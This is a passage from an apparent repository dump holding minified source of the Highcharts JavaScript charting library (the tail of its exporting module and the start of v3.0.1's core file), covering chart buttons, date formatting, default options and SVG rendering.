b=this,c=b.renderer,a=k(b.options.navigation.buttonOptions,a),d=a.onclick,i=a.menuItems,g,f,h={stroke:a.symbolStroke,fill:a.symbolFill},q=a.symbolSize||12;if(!b.btnCount)b.btnCount=0;b.btnCount++;if(!b.exportDivElements)b.exportDivElements=[],b.exportSVGElements=[];if(a.enabled!==!1){var n=a.theme,o=n.states,m=o&&o.hover,o=o&&\no.select,j;delete n.states;d?j=function(){d.apply(b,arguments)}:i&&(j=function(){b.contextMenu(\"contextmenu\",i,f.translateX,f.translateY,f.width,f.height,f);f.setState(2)});a.text&&a.symbol?n.paddingLeft=e.pick(n.paddingLeft,25):a.text||p(n,{width:a.width,height:a.height,padding:0});f=c.button(a.text,0,0,j,n,m,o).attr({title:b.options.lang[a._titleKey],\"stroke-linecap\":\"round\"});a.symbol&&(g=c.symbol(a.symbol,a.symbolX-q/2,a.symbolY-q/2,q,q).attr(p(h,{\"stroke-width\":a.symbolStrokeWidth||1,zIndex:1})).add(f));\nf.add().align(p(a,{width:f.width,x:e.pick(a.x,w)}),!0,\"spacingBox\");w+=(f.width+a.buttonSpacing)*(a.align===\"right\"?-1:1);b.exportSVGElements.push(f,g)}},destroyExport:function(a){var a=a.target,b,c;for(b=0;b<a.exportSVGElements.length;b++)c=a.exportSVGElements[b],c.onclick=c.ontouchstart=null,a.exportSVGElements[b]=c.destroy();for(b=0;b<a.exportDivElements.length;b++)c=a.exportDivElements[b],B(c,\"mouseleave\"),a.exportDivElements[b]=c.onmouseout=c.onmouseover=c.ontouchstart=c.onclick=null,j(c)}});\nE.menu=function(a,b,c,d){return[\"M\",a,b+2.5,\"L\",a+c,b+2.5,\"M\",a,b+d/2+0.5,\"L\",a+c,b+d/2+0.5,\"M\",a,b+d-1.5,\"L\",a+c,b+d-1.5]};y.prototype.callbacks.push(function(a){var b,c=a.options.exporting,d=c.buttons;w=0;if(c.enabled!==!1){for(b in d)a.addButton(d[b]);v(a,\"destroy\",a.destroyExport)}})})(Highcharts);\n"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/js/highcharts.js",
    "content": "/*\n Highcharts JS v3.0.1 (2013-04-09)\n\n (c) 2009-2013 Torstein Hønsi\n\n License: www.highcharts.com/license\n*/\n(function(){function v(a,b){var c;a||(a={});for(c in b)a[c]=b[c];return a}function y(){var a,b=arguments.length,c={},d=function(a,b){var c,h;for(h in b)b.hasOwnProperty(h)&&(c=b[h],typeof a!==\"object\"&&(a={}),a[h]=c&&typeof c===\"object\"&&Object.prototype.toString.call(c)!==\"[object Array]\"&&typeof c.nodeType!==\"number\"?d(a[h]||{},c):b[h]);return a};for(a=0;a<b;a++)c=d(c,arguments[a]);return c}function u(a,b){return parseInt(a,b||10)}function fa(a){return typeof a===\"string\"}function V(a){return typeof a===\n\"object\"}function Ba(a){return Object.prototype.toString.call(a)===\"[object Array]\"}function Ca(a){return typeof a===\"number\"}function ka(a){return I.log(a)/I.LN10}function da(a){return I.pow(10,a)}function ga(a,b){for(var c=a.length;c--;)if(a[c]===b){a.splice(c,1);break}}function r(a){return a!==x&&a!==null}function A(a,b,c){var d,e;if(fa(b))r(c)?a.setAttribute(b,c):a&&a.getAttribute&&(e=a.getAttribute(b));else if(r(b)&&V(b))for(d in b)a.setAttribute(d,b[d]);return e}function ha(a){return Ba(a)?\na:[a]}function o(){var a=arguments,b,c,d=a.length;for(b=0;b<d;b++)if(c=a[b],typeof c!==\"undefined\"&&c!==null)return c}function L(a,b){if(Da&&b&&b.opacity!==x)b.filter=\"alpha(opacity=\"+b.opacity*100+\")\";v(a.style,b)}function U(a,b,c,d,e){a=z.createElement(a);b&&v(a,b);e&&L(a,{padding:0,border:S,margin:0});c&&L(a,c);d&&d.appendChild(a);return a}function ea(a,b){var c=function(){};c.prototype=new a;v(c.prototype,b);return c}function Na(a,b,c,d){var e=N.lang,f=b===-1?((a||0).toString().split(\".\")[1]||\n\"\").length:isNaN(b=Q(b))?2:b,b=c===void 0?e.decimalPoint:c,d=d===void 0?e.thousandsSep:d,e=a<0?\"-\":\"\",c=String(u(a=Q(+a||0).toFixed(f))),g=c.length>3?c.length%3:0;return e+(g?c.substr(0,g)+d:\"\")+c.substr(g).replace(/(\\d{3})(?=\\d)/g,\"$1\"+d)+(f?b+Q(a-c).toFixed(f).slice(2):\"\")}function ua(a,b){return Array((b||2)+1-String(a).length).join(0)+a}function Ea(a,b){for(var c=\"{\",d=!1,e,f,g,h,i,j=[];(c=a.indexOf(c))!==-1;){e=a.slice(0,c);if(d){f=e.split(\":\");g=f.shift().split(\".\");i=g.length;e=b;for(h=0;h<\ni;h++)e=e[g[h]];if(f.length)f=f.join(\":\"),g=/\\.([0-9])/,h=N.lang,i=void 0,/f$/.test(f)?(i=(i=f.match(g))?i[1]:-1,e=Na(e,i,h.decimalPoint,f.indexOf(\",\")>-1?h.thousandsSep:\"\")):e=Ua(f,e)}j.push(e);a=a.slice(c+1);c=(d=!d)?\"}\":\"{\"}j.push(a);return j.join(\"\")}function ib(a,b,c,d){var e,c=o(c,1);e=a/c;b||(b=[1,2,2.5,5,10],d&&d.allowDecimals===!1&&(c===1?b=[1,2,5,10]:c<=0.1&&(b=[1/c])));for(d=0;d<b.length;d++)if(a=b[d],e<=(b[d]+(b[d+1]||b[d]))/2)break;a*=c;return a}function yb(a,b){var c=b||[[zb,[1,2,5,\n10,20,25,50,100,200,500]],[jb,[1,2,5,10,15,30]],[Va,[1,2,5,10,15,30]],[Oa,[1,2,3,4,6,8,12]],[oa,[1,2]],[Wa,[1,2]],[Pa,[1,2,3,4,6]],[va,null]],d=c[c.length-1],e=E[d[0]],f=d[1],g;for(g=0;g<c.length;g++)if(d=c[g],e=E[d[0]],f=d[1],c[g+1]&&a<=(e*f[f.length-1]+E[c[g+1][0]])/2)break;e===E[va]&&a<5*e&&(f=[1,2,5]);e===E[va]&&a<5*e&&(f=[1,2,5]);c=ib(a/e,f);return{unitRange:e,count:c,unitName:d[0]}}function Ab(a,b,c,d){var e=[],f={},g=N.global.useUTC,h,i=new Date(b),j=a.unitRange,k=a.count;if(r(b)){j>=E[jb]&&\n(i.setMilliseconds(0),i.setSeconds(j>=E[Va]?0:k*T(i.getSeconds()/k)));if(j>=E[Va])i[Bb](j>=E[Oa]?0:k*T(i[kb]()/k));if(j>=E[Oa])i[Cb](j>=E[oa]?0:k*T(i[lb]()/k));if(j>=E[oa])i[mb](j>=E[Pa]?1:k*T(i[Qa]()/k));j>=E[Pa]&&(i[Db](j>=E[va]?0:k*T(i[Xa]()/k)),h=i[Ya]());j>=E[va]&&(h-=h%k,i[Eb](h));if(j===E[Wa])i[mb](i[Qa]()-i[nb]()+o(d,1));b=1;h=i[Ya]();for(var d=i.getTime(),m=i[Xa](),l=i[Qa](),i=g?0:(864E5+i.getTimezoneOffset()*6E4)%864E5;d<c;)e.push(d),j===E[va]?d=Za(h+b*k,0):j===E[Pa]?d=Za(h,m+b*k):!g&&(j===\nE[oa]||j===E[Wa])?d=Za(h,m,l+b*k*(j===E[oa]?1:7)):(j<=E[Oa]&&d%E[oa]===i&&(f[d]=oa),d+=j*k),b++;e.push(d)}e.info=v(a,{higherRanks:f,totalRange:j*k});return e}function Fb(){this.symbol=this.color=0}function Gb(a,b){var c=a.length,d,e;for(e=0;e<c;e++)a[e].ss_i=e;a.sort(function(a,c){d=b(a,c);return d===0?a.ss_i-c.ss_i:d});for(e=0;e<c;e++)delete a[e].ss_i}function Fa(a){for(var b=a.length,c=a[0];b--;)a[b]<c&&(c=a[b]);return c}function pa(a){for(var b=a.length,c=a[0];b--;)a[b]>c&&(c=a[b]);return c}function Ga(a,\nb){for(var c in a)a[c]&&a[c]!==b&&a[c].destroy&&a[c].destroy(),delete a[c]}function Ra(a){$a||($a=U(wa));a&&$a.appendChild(a);$a.innerHTML=\"\"}function qa(a,b){var c=\"Highcharts error #\"+a+\": www.highcharts.com/errors/\"+a;if(b)throw c;else O.console&&console.log(c)}function ia(a){return parseFloat(a.toPrecision(14))}function Ha(a,b){xa=o(a,b.animation)}function Hb(){var a=N.global.useUTC,b=a?\"getUTC\":\"get\",c=a?\"setUTC\":\"set\";Za=a?Date.UTC:function(a,b,c,g,h,i){return(new Date(a,b,o(c,1),o(g,0),o(h,\n0),o(i,0))).getTime()};kb=b+\"Minutes\";lb=b+\"Hours\";nb=b+\"Day\";Qa=b+\"Date\";Xa=b+\"Month\";Ya=b+\"FullYear\";Bb=c+\"Minutes\";Cb=c+\"Hours\";mb=c+\"Date\";Db=c+\"Month\";Eb=c+\"FullYear\"}function ra(){}function Ia(a,b,c,d){this.axis=a;this.pos=b;this.type=c||\"\";this.isNew=!0;!c&&!d&&this.addLabel()}function ob(a,b){this.axis=a;if(b)this.options=b,this.id=b.id}function Ib(a,b,c,d,e,f){var g=a.chart.inverted;this.axis=a;this.isNegative=c;this.options=b;this.x=d;this.stack=e;this.percent=f===\"percent\";this.alignOptions=\n{align:b.align||(g?c?\"left\":\"right\":\"center\"),verticalAlign:b.verticalAlign||(g?\"middle\":c?\"bottom\":\"top\"),y:o(b.y,g?4:c?14:-6),x:o(b.x,g?c?-6:6:0)};this.textAlign=b.textAlign||(g?c?\"right\":\"left\":\"center\")}function ab(){this.init.apply(this,arguments)}function pb(){this.init.apply(this,arguments)}function qb(a,b){this.init(a,b)}function rb(a,b){this.init(a,b)}function sb(){this.init.apply(this,arguments)}var x,z=document,O=window,I=Math,t=I.round,T=I.floor,ja=I.ceil,q=I.max,K=I.min,Q=I.abs,Y=I.cos,\nca=I.sin,Ja=I.PI,bb=Ja*2/360,ya=navigator.userAgent,Jb=O.opera,Da=/msie/i.test(ya)&&!Jb,cb=z.documentMode===8,db=/AppleWebKit/.test(ya),eb=/Firefox/.test(ya),Kb=/(Mobile|Android|Windows Phone)/.test(ya),sa=\"http://www.w3.org/2000/svg\",Z=!!z.createElementNS&&!!z.createElementNS(sa,\"svg\").createSVGRect,Rb=eb&&parseInt(ya.split(\"Firefox/\")[1],10)<4,$=!Z&&!Da&&!!z.createElement(\"canvas\").getContext,Sa,fb=z.documentElement.ontouchstart!==x,Lb={},tb=0,$a,N,Ua,xa,ub,E,ta=function(){},za=[],wa=\"div\",S=\"none\",\nMb=\"rgba(192,192,192,\"+(Z?1.0E-4:0.002)+\")\",zb=\"millisecond\",jb=\"second\",Va=\"minute\",Oa=\"hour\",oa=\"day\",Wa=\"week\",Pa=\"month\",va=\"year\",Nb=\"stroke-width\",Za,kb,lb,nb,Qa,Xa,Ya,Bb,Cb,mb,Db,Eb,aa={};O.Highcharts=O.Highcharts?qa(16,!0):{};Ua=function(a,b,c){if(!r(b)||isNaN(b))return\"Invalid date\";var a=o(a,\"%Y-%m-%d %H:%M:%S\"),d=new Date(b),e,f=d[lb](),g=d[nb](),h=d[Qa](),i=d[Xa](),j=d[Ya](),k=N.lang,m=k.weekdays,d=v({a:m[g].substr(0,3),A:m[g],d:ua(h),e:h,b:k.shortMonths[i],B:k.months[i],m:ua(i+1),y:j.toString().substr(2,\n2),Y:j,H:ua(f),I:ua(f%12||12),l:f%12||12,M:ua(d[kb]()),p:f<12?\"AM\":\"PM\",P:f<12?\"am\":\"pm\",S:ua(d.getSeconds()),L:ua(t(b%1E3),3)},Highcharts.dateFormats);for(e in d)for(;a.indexOf(\"%\"+e)!==-1;)a=a.replace(\"%\"+e,typeof d[e]===\"function\"?d[e](b):d[e]);return c?a.substr(0,1).toUpperCase()+a.substr(1):a};Fb.prototype={wrapColor:function(a){if(this.color>=a)this.color=0},wrapSymbol:function(a){if(this.symbol>=a)this.symbol=0}};E=function(){for(var a=0,b=arguments,c=b.length,d={};a<c;a++)d[b[a++]]=b[a];return d}(zb,\n1,jb,1E3,Va,6E4,Oa,36E5,oa,864E5,Wa,6048E5,Pa,26784E5,va,31556952E3);ub={init:function(a,b,c){var b=b||\"\",d=a.shift,e=b.indexOf(\"C\")>-1,f=e?7:3,g,b=b.split(\" \"),c=[].concat(c),h,i,j=function(a){for(g=a.length;g--;)a[g]===\"M\"&&a.splice(g+1,0,a[g+1],a[g+2],a[g+1],a[g+2])};e&&(j(b),j(c));a.isArea&&(h=b.splice(b.length-6,6),i=c.splice(c.length-6,6));if(d<=c.length/f)for(;d--;)c=[].concat(c).splice(0,f).concat(c);a.shift=0;if(b.length)for(a=c.length;b.length<a;)d=[].concat(b).splice(b.length-f,f),e&&(d[f-\n6]=d[f-2],d[f-5]=d[f-1]),b=b.concat(d);h&&(b=b.concat(h),c=c.concat(i));return[b,c]},step:function(a,b,c,d){var e=[],f=a.length;if(c===1)e=d;else if(f===b.length&&c<1)for(;f--;)d=parseFloat(a[f]),e[f]=isNaN(d)?a[f]:c*parseFloat(b[f]-d)+d;else e=b;return e}};(function(a){O.HighchartsAdapter=O.HighchartsAdapter||a&&{init:function(b){var c=a.fx,d=c.step,e,f=a.Tween,g=f&&f.propHooks;a.extend(a.easing,{easeOutQuad:function(a,b,c,d,e){return-d*(b/=e)*(b-2)+c}});a.each([\"cur\",\"_default\",\"width\",\"height\",\n\"opacity\"],function(a,b){var e=d,k,m;b===\"cur\"?e=c.prototype:b===\"_default\"&&f&&(e=g[b],b=\"set\");(k=e[b])&&(e[b]=function(c){c=a?c:this;m=c.elem;return m.attr?m.attr(c.prop,b===\"cur\"?x:c.now):k.apply(this,arguments)})});e=function(a){var c=a.elem,d;if(!a.started)d=b.init(c,c.d,c.toD),a.start=d[0],a.end=d[1],a.started=!0;c.attr(\"d\",b.step(a.start,a.end,a.pos,c.toD))};f?g.d={set:e}:d.d=e;this.each=Array.prototype.forEach?function(a,b){return Array.prototype.forEach.call(a,b)}:function(a,b){for(var c=\n0,d=a.length;c<d;c++)if(b.call(a[c],a[c],c,a)===!1)return c};a.fn.highcharts=function(){var a=\"Chart\",b=arguments,c,d;fa(b[0])&&(a=b[0],b=Array.prototype.slice.call(b,1));c=b[0];if(c!==x)c.chart=c.chart||{},c.chart.renderTo=this[0],new Highcharts[a](c,b[1]),d=this;c===x&&(d=za[A(this[0],\"data-highcharts-chart\")]);return d}},getScript:a.getScript,inArray:a.inArray,adapterRun:function(b,c){return a(b)[c]()},grep:a.grep,map:function(a,c){for(var d=[],e=0,f=a.length;e<f;e++)d[e]=c.call(a[e],a[e],e,a);\nreturn d},offset:function(b){return a(b).offset()},addEvent:function(b,c,d){a(b).bind(c,d)},removeEvent:function(b,c,d){var e=z.removeEventListener?\"removeEventListener\":\"detachEvent\";z[e]&&b&&!b[e]&&(b[e]=function(){});a(b).unbind(c,d)},fireEvent:function(b,c,d,e){var f=a.Event(c),g=\"detached\"+c,h;!Da&&d&&(delete d.layerX,delete d.layerY);v(f,d);b[c]&&(b[g]=b[c],b[c]=null);a.each([\"preventDefault\",\"stopPropagation\"],function(a,b){var c=f[b];f[b]=function(){try{c.call(f)}catch(a){b===\"preventDefault\"&&\n(h=!0)}}});a(b).trigger(f);b[g]&&(b[c]=b[g],b[g]=null);e&&!f.isDefaultPrevented()&&!h&&e(f)},washMouseEvent:function(a){var c=a.originalEvent||a;if(c.pageX===x)c.pageX=a.pageX,c.pageY=a.pageY;return c},animate:function(b,c,d){var e=a(b);if(c.d)b.toD=c.d,c.d=1;e.stop();c.opacity!==x&&b.attr&&(c.opacity+=\"px\");e.animate(c,d)},stop:function(b){a(b).stop()}}})(O.jQuery);var W=O.HighchartsAdapter,M=W||{};W&&W.init.call(W,ub);var gb=M.adapterRun,Sb=M.getScript,la=M.inArray,n=M.each,Ob=M.grep,Tb=M.offset,\nKa=M.map,J=M.addEvent,ba=M.removeEvent,D=M.fireEvent,Pb=M.washMouseEvent,vb=M.animate,Ta=M.stop,M={enabled:!0,align:\"center\",x:0,y:15,style:{color:\"#666\",cursor:\"default\",fontSize:\"11px\",lineHeight:\"14px\"}};N={colors:\"#2f7ed8,#0d233a,#8bbc21,#910000,#1aadce,#492970,#f28f43,#77a1e5,#c42525,#a6c96a\".split(\",\"),symbols:[\"circle\",\"diamond\",\"square\",\"triangle\",\"triangle-down\"],lang:{loading:\"Loading...\",months:\"January,February,March,April,May,June,July,August,September,October,November,December\".split(\",\"),\nshortMonths:\"Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec\".split(\",\"),weekdays:\"Sunday,Monday,Tuesday,Wednesday,Thursday,Friday,Saturday\".split(\",\"),decimalPoint:\".\",numericSymbols:\"k,M,G,T,P,E\".split(\",\"),resetZoom:\"Reset zoom\",resetZoomTitle:\"Reset zoom level 1:1\",thousandsSep:\",\"},global:{useUTC:!0,canvasToolsURL:\"http://code.highcharts.com/3.0.1/modules/canvas-tools.js\",VMLRadialGradientURL:\"http://code.highcharts.com/3.0.1/gfx/vml-radial-gradient.png\"},chart:{borderColor:\"#4572A7\",borderRadius:5,\ndefaultSeriesType:\"line\",ignoreHiddenSeries:!0,spacingTop:10,spacingRight:10,spacingBottom:15,spacingLeft:10,style:{fontFamily:'\"Lucida Grande\", \"Lucida Sans Unicode\", Verdana, Arial, Helvetica, sans-serif',fontSize:\"12px\"},backgroundColor:\"#FFFFFF\",plotBorderColor:\"#C0C0C0\",resetZoomButton:{theme:{zIndex:20},position:{align:\"right\",x:-10,y:10}}},title:{text:\"Chart title\",align:\"center\",y:15,style:{color:\"#274b6d\",fontSize:\"16px\"}},subtitle:{text:\"\",align:\"center\",y:30,style:{color:\"#4d759e\"}},plotOptions:{line:{allowPointSelect:!1,\nshowCheckbox:!1,animation:{duration:1E3},events:{},lineWidth:2,marker:{enabled:!0,lineWidth:0,radius:4,lineColor:\"#FFFFFF\",states:{hover:{enabled:!0},select:{fillColor:\"#FFFFFF\",lineColor:\"#000000\",lineWidth:2}}},point:{events:{}},dataLabels:y(M,{enabled:!1,formatter:function(){return this.y},verticalAlign:\"bottom\",y:0}),cropThreshold:300,pointRange:0,showInLegend:!0,states:{hover:{marker:{}},select:{marker:{}}},stickyTracking:!0}},labels:{style:{position:\"absolute\",color:\"#3E576F\"}},legend:{enabled:!0,\nalign:\"center\",layout:\"horizontal\",labelFormatter:function(){return this.name},borderWidth:1,borderColor:\"#909090\",borderRadius:5,navigation:{activeColor:\"#274b6d\",inactiveColor:\"#CCC\"},shadow:!1,itemStyle:{cursor:\"pointer\",color:\"#274b6d\",fontSize:\"12px\"},itemHoverStyle:{color:\"#000\"},itemHiddenStyle:{color:\"#CCC\"},itemCheckboxStyle:{position:\"absolute\",width:\"13px\",height:\"13px\"},symbolWidth:16,symbolPadding:5,verticalAlign:\"bottom\",x:0,y:0,title:{style:{fontWeight:\"bold\"}}},loading:{labelStyle:{fontWeight:\"bold\",\nposition:\"relative\",top:\"1em\"},style:{position:\"absolute\",backgroundColor:\"white\",opacity:0.5,textAlign:\"center\"}},tooltip:{enabled:!0,animation:Z,backgroundColor:\"rgba(255, 255, 255, .85)\",borderWidth:1,borderRadius:3,dateTimeLabelFormats:{millisecond:\"%A, %b %e, %H:%M:%S.%L\",second:\"%A, %b %e, %H:%M:%S\",minute:\"%A, %b %e, %H:%M\",hour:\"%A, %b %e, %H:%M\",day:\"%A, %b %e, %Y\",week:\"Week from %A, %b %e, %Y\",month:\"%B %Y\",year:\"%Y\"},headerFormat:'<span style=\"font-size: 10px\">{point.key}</span><br/>',\npointFormat:'<span style=\"color:{series.color}\">{series.name}</span>: <b>{point.y}</b><br/>',shadow:!0,snap:Kb?25:10,style:{color:\"#333333\",cursor:\"default\",fontSize:\"12px\",padding:\"8px\",whiteSpace:\"nowrap\"}},credits:{enabled:!0,text:\"Highcharts.com\",href:\"http://www.highcharts.com\",position:{align:\"right\",x:-10,verticalAlign:\"bottom\",y:-5},style:{cursor:\"pointer\",color:\"#909090\",fontSize:\"9px\"}}};var X=N.plotOptions,W=X.line;Hb();var ma=function(a){var b=[],c,d;(function(a){a&&a.stops?d=Ka(a.stops,\nfunction(a){return ma(a[1])}):(c=/rgba\\(\\s*([0-9]{1,3})\\s*,\\s*([0-9]{1,3})\\s*,\\s*([0-9]{1,3})\\s*,\\s*([0-9]?(?:\\.[0-9]+)?)\\s*\\)/.exec(a))?b=[u(c[1]),u(c[2]),u(c[3]),parseFloat(c[4],10)]:(c=/#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(a))?b=[u(c[1],16),u(c[2],16),u(c[3],16),1]:(c=/rgb\\(\\s*([0-9]{1,3})\\s*,\\s*([0-9]{1,3})\\s*,\\s*([0-9]{1,3})\\s*\\)/.exec(a))&&(b=[u(c[1]),u(c[2]),u(c[3]),1])})(a);return{get:function(c){var f;d?(f=y(a),f.stops=[].concat(f.stops),n(d,function(a,b){f.stops[b]=[f.stops[b][0],\na.get(c)]})):f=b&&!isNaN(b[0])?c===\"rgb\"?\"rgb(\"+b[0]+\",\"+b[1]+\",\"+b[2]+\")\":c===\"a\"?b[3]:\"rgba(\"+b.join(\",\")+\")\":a;return f},brighten:function(a){if(d)n(d,function(b){b.brighten(a)});else if(Ca(a)&&a!==0){var c;for(c=0;c<3;c++)b[c]+=u(a*255),b[c]<0&&(b[c]=0),b[c]>255&&(b[c]=255)}return this},rgba:b,setOpacity:function(a){b[3]=a;return this}}};ra.prototype={init:function(a,b){this.element=b===\"span\"?U(b):z.createElementNS(sa,b);this.renderer=a;this.attrSetters={}},opacity:1,animate:function(a,b,c){b=\no(b,xa,!0);Ta(this);if(b){b=y(b);if(c)b.complete=c;vb(this,a,b)}else this.attr(a),c&&c()},attr:function(a,b){var c,d,e,f,g=this.element,h=g.nodeName.toLowerCase(),i=this.renderer,j,k=this.attrSetters,m=this.shadows,l,p,s=this;fa(a)&&r(b)&&(c=a,a={},a[c]=b);if(fa(a))c=a,h===\"circle\"?c={x:\"cx\",y:\"cy\"}[c]||c:c===\"strokeWidth\"&&(c=\"stroke-width\"),s=A(g,c)||this[c]||0,c!==\"d\"&&c!==\"visibility\"&&(s=parseFloat(s));else{for(c in a)if(j=!1,d=a[c],e=k[c]&&k[c].call(this,d,c),e!==!1){e!==x&&(d=e);if(c===\"d\")d&&\nd.join&&(d=d.join(\" \")),/(NaN| {2}|^$)/.test(d)&&(d=\"M 0 0\");else if(c===\"x\"&&h===\"text\")for(e=0;e<g.childNodes.length;e++)f=g.childNodes[e],A(f,\"x\")===A(g,\"x\")&&A(f,\"x\",d);else if(this.rotation&&(c===\"x\"||c===\"y\"))p=!0;else if(c===\"fill\")d=i.color(d,g,c);else if(h===\"circle\"&&(c===\"x\"||c===\"y\"))c={x:\"cx\",y:\"cy\"}[c]||c;else if(h===\"rect\"&&c===\"r\")A(g,{rx:d,ry:d}),j=!0;else if(c===\"translateX\"||c===\"translateY\"||c===\"rotation\"||c===\"verticalAlign\"||c===\"scaleX\"||c===\"scaleY\")j=p=!0;else if(c===\"stroke\")d=\ni.color(d,g,c);else if(c===\"dashstyle\")if(c=\"stroke-dasharray\",d=d&&d.toLowerCase(),d===\"solid\")d=S;else{if(d){d=d.replace(\"shortdashdotdot\",\"3,1,1,1,1,1,\").replace(\"shortdashdot\",\"3,1,1,1\").replace(\"shortdot\",\"1,1,\").replace(\"shortdash\",\"3,1,\").replace(\"longdash\",\"8,3,\").replace(/dot/g,\"1,3,\").replace(\"dash\",\"4,3,\").replace(/,$/,\"\").split(\",\");for(e=d.length;e--;)d[e]=u(d[e])*a[\"stroke-width\"];d=d.join(\",\")}}else if(c===\"width\")d=u(d);else if(c===\"align\")c=\"text-anchor\",d={left:\"start\",center:\"middle\",\nright:\"end\"}[d];else if(c===\"title\")e=g.getElementsByTagName(\"title\")[0],e||(e=z.createElementNS(sa,\"title\"),g.appendChild(e)),e.textContent=d;c===\"strokeWidth\"&&(c=\"stroke-width\");if(c===\"stroke-width\"||c===\"stroke\"){this[c]=d;if(this.stroke&&this[\"stroke-width\"])A(g,\"stroke\",this.stroke),A(g,\"stroke-width\",this[\"stroke-width\"]),this.hasStroke=!0;else if(c===\"stroke-width\"&&d===0&&this.hasStroke)g.removeAttribute(\"stroke\"),this.hasStroke=!1;j=!0}this.symbolName&&/^(x|y|width|height|r|start|end|innerR|anchorX|anchorY)/.test(c)&&\n(l||(this.symbolAttr(a),l=!0),j=!0);if(m&&/^(width|height|visibility|x|y|d|transform)$/.test(c))for(e=m.length;e--;)A(m[e],c,c===\"height\"?q(d-(m[e].cutHeight||0),0):d);if((c===\"width\"||c===\"height\")&&h===\"rect\"&&d<0)d=0;this[c]=d;c===\"text\"?(d!==this.textStr&&delete this.bBox,this.textStr=d,this.added&&i.buildText(this)):j||A(g,c,d)}p&&this.updateTransform()}return s},addClass:function(a){A(this.element,\"class\",A(this.element,\"class\")+\" \"+a);return this},symbolAttr:function(a){var b=this;n(\"x,y,r,start,end,width,height,innerR,anchorX,anchorY\".split(\",\"),\nfunction(c){b[c]=o(a[c],b[c])});b.attr({d:b.renderer.symbols[b.symbolName](b.x,b.y,b.width,b.height,b)})},clip:function(a){return this.attr(\"clip-path\",a?\"url(\"+this.renderer.url+\"#\"+a.id+\")\":S)},crisp:function(a,b,c,d,e){var f,g={},h={},i,a=a||this.strokeWidth||this.attr&&this.attr(\"stroke-width\")||0;i=t(a)%2/2;h.x=T(b||this.x||0)+i;h.y=T(c||this.y||0)+i;h.width=T((d||this.width||0)-2*i);h.height=T((e||this.height||0)-2*i);h.strokeWidth=a;for(f in h)this[f]!==h[f]&&(this[f]=g[f]=h[f]);return g},\ncss:function(a){var b=this.element,b=a&&a.width&&b.nodeName.toLowerCase()===\"text\",c,d=\"\",e=function(a,b){return\"-\"+b.toLowerCase()};if(a&&a.color)a.fill=a.color;this.styles=a=v(this.styles,a);$&&b&&delete a.width;if(Da&&!Z)b&&delete a.width,L(this.element,a);else{for(c in a)d+=c.replace(/([A-Z])/g,e)+\":\"+a[c]+\";\";this.attr({style:d})}b&&this.added&&this.renderer.buildText(this);return this},on:function(a,b){if(fb&&a===\"click\")this.element.ontouchstart=function(a){a.preventDefault();b()};this.element[\"on\"+\na]=b;return this},setRadialReference:function(a){this.element.radialReference=a;return this},translate:function(a,b){return this.attr({translateX:a,translateY:b})},invert:function(){this.inverted=!0;this.updateTransform();return this},htmlCss:function(a){var b=this.element;if(b=a&&b.tagName===\"SPAN\"&&a.width)delete a.width,this.textWidth=b,this.updateTransform();this.styles=v(this.styles,a);L(this.element,a);return this},htmlGetBBox:function(){var a=this.element,b=this.bBox;if(!b){if(a.nodeName===\n\"text\")a.style.position=\"absolute\";b=this.bBox={x:a.offsetLeft,y:a.offsetTop,width:a.offsetWidth,height:a.offsetHeight}}return b},htmlUpdateTransform:function(){if(this.added){var a=this.renderer,b=this.element,c=this.translateX||0,d=this.translateY||0,e=this.x||0,f=this.y||0,g=this.textAlign||\"left\",h={left:0,center:0.5,right:1}[g],i=g&&g!==\"left\",j=this.shadows;if(c||d)L(b,{marginLeft:c,marginTop:d}),j&&n(j,function(a){L(a,{marginLeft:c+1,marginTop:d+1})});this.inverted&&n(b.childNodes,function(c){a.invertChild(c,\nb)});if(b.tagName===\"SPAN\"){var k,m,j=this.rotation,l,p=0,s=1,p=0,wb;l=u(this.textWidth);var B=this.xCorr||0,w=this.yCorr||0,G=[j,g,b.innerHTML,this.textWidth].join(\",\");k={};if(G!==this.cTT){if(r(j))a.isSVG?(B=Da?\"-ms-transform\":db?\"-webkit-transform\":eb?\"MozTransform\":Jb?\"-o-transform\":\"\",k[B]=k.transform=\"rotate(\"+j+\"deg)\"):(p=j*bb,s=Y(p),p=ca(p),k.filter=j?[\"progid:DXImageTransform.Microsoft.Matrix(M11=\",s,\", M12=\",-p,\", M21=\",p,\", M22=\",s,\", sizingMethod='auto expand')\"].join(\"\"):S),L(b,k);k=\no(this.elemWidth,b.offsetWidth);m=o(this.elemHeight,b.offsetHeight);if(k>l&&/[ \\-]/.test(b.textContent||b.innerText))L(b,{width:l+\"px\",display:\"block\",whiteSpace:\"normal\"}),k=l;l=a.fontMetrics(b.style.fontSize).b;B=s<0&&-k;w=p<0&&-m;wb=s*p<0;B+=p*l*(wb?1-h:h);w-=s*l*(j?wb?h:1-h:1);i&&(B-=k*h*(s<0?-1:1),j&&(w-=m*h*(p<0?-1:1)),L(b,{textAlign:g}));this.xCorr=B;this.yCorr=w}L(b,{left:e+B+\"px\",top:f+w+\"px\"});if(db)m=b.offsetHeight;this.cTT=G}}else this.alignOnAdd=!0},updateTransform:function(){var a=this.translateX||\n0,b=this.translateY||0,c=this.scaleX,d=this.scaleY,e=this.inverted,f=this.rotation,g=[];e&&(a+=this.attr(\"width\"),b+=this.attr(\"height\"));(a||b)&&g.push(\"translate(\"+a+\",\"+b+\")\");e?g.push(\"rotate(90) scale(-1,1)\"):f&&g.push(\"rotate(\"+f+\" \"+(this.x||0)+\" \"+(this.y||0)+\")\");(r(c)||r(d))&&g.push(\"scale(\"+o(c,1)+\" \"+o(d,1)+\")\");g.length&&A(this.element,\"transform\",g.join(\" \"))},toFront:function(){var a=this.element;a.parentNode.appendChild(a);return this},align:function(a,b,c){var d,e,f,g,h={};e=this.renderer;\nf=e.alignedObjects;if(a){if(this.alignOptions=a,this.alignByTranslate=b,!c||fa(c))this.alignTo=d=c||\"renderer\",ga(f,this),f.push(this),c=null}else a=this.alignOptions,b=this.alignByTranslate,d=this.alignTo;c=o(c,e[d],e);d=a.align;e=a.verticalAlign;f=(c.x||0)+(a.x||0);g=(c.y||0)+(a.y||0);if(d===\"right\"||d===\"center\")f+=(c.width-(a.width||0))/{right:1,center:2}[d];h[b?\"translateX\":\"x\"]=t(f);if(e===\"bottom\"||e===\"middle\")g+=(c.height-(a.height||0))/({bottom:1,middle:2}[e]||1);h[b?\"translateY\":\"y\"]=t(g);\nthis[this.placed?\"animate\":\"attr\"](h);this.placed=!0;this.alignAttr=h;return this},getBBox:function(){var 